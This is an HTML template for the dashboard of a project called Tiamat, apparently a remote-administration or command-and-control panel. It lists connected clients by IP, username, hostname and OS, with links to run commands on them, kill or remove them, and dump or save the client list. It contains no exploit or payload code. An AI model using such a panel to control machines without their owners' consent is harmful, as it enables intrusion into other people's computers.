tiamat/cmd/templates/index.html

97 lines
3.0 KiB
HTML

<!DOCTYPE html>
<html lang="en">
<head>
<title>Tiamat | Dashboard</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="/style.css" rel="stylesheet">
<script src="https://unpkg.com/htmx.org@1.9.12"
integrity="sha384-ujb1lZYygJmzgSwoxRggbCHcjc0rB2XoQrxeTUQyRjrOnlCoYta87iKBWq3EsdM2"
crossorigin="anonymous"></script>
</head>
<body>
<div class="container">
<div id="main">
<b>
<ul>
<li class="hor">
<p><a href="/">Home</a></p>
</li>
<li class="hor">
<p><a href="https://git.bulgariu.xyz/raul/tiamat" target="_blank">Source code</a></p>
</li>
<li class="hor">
<p><a href="/dump" target="_blank">Dump clients</a></p>
</li>
<li class="hor">
<p><a hx-post="/save" hx-swap="none" target="_blank" id="pointer">Save clients</a></p>
</li>
</ul>
</b>
<hr>
<h2 align=center>Current clients</h2>
<hr>
<form hx-on--after-request="this.reset()">
{{ range .Clients }}
<table border=1>
<tr>
<td id="bold" rowspan="2"><input type="checkbox" name="clients[]" value="{{ .ClientID }}"></td>
<td id="bold">ID</td>
<td id="bold">Status</td>
<td id="bold">Remote IP</td>
<td id="bold">Local IP</td>
<td id="bold">Username</td>
<td id="bold">Hostname</td>
<td id="bold">Operating System</td>
<td rowspan=2>
<a target="_blank" href="command/{{ .ClientID }}"><b>CMD</b></a>
</td>
<td rowspan=2>
<a href="/" hx-post="kill/{{ .ClientID }}" hx-swap="none" id="pointer"><b>KILL</b></a>
</td>
<td rowspan=2>
<a href="/" hx-post="remove/{{ .ClientID }}" hx-swap="none" id="pointer"><b>REMOVE</b></a>
</td>
</tr>
<tr>
<td>{{ .ClientID }}</td>
<td>
{{ if .IsOnline }}
<on>
OK
</on>
{{ else }}
<off>
Offline
</off>
{{ end }}
</td>
<td>{{ .ClientBasicInfo.PublicIP }}</td>
<td>{{ .ClientBasicInfo.LocalIP }}</td>
<td>{{ .ClientBasicInfo.Username }}</td>
<td>{{ .ClientBasicInfo.Hostname }}</td>
<td>{{ .ClientBasicInfo.OperatingSystem }}</td>
</tr>
</table>
<hr>
{{ end }}
<b>
<ul>
<li class="hor">
<p><a hx-post="/bulk-kill" hx-swap="none" target="_blank" id="pointer">Bulk kill</a></p>
</li>
<li class="hor">
<p><a hx-post="/bulk-remove" hx-swap="none" target="_blank" id="pointer">Bulk remove</a></p>
</li>
</ul>
</b>
</form>
</div>
</div>
</body>
</html>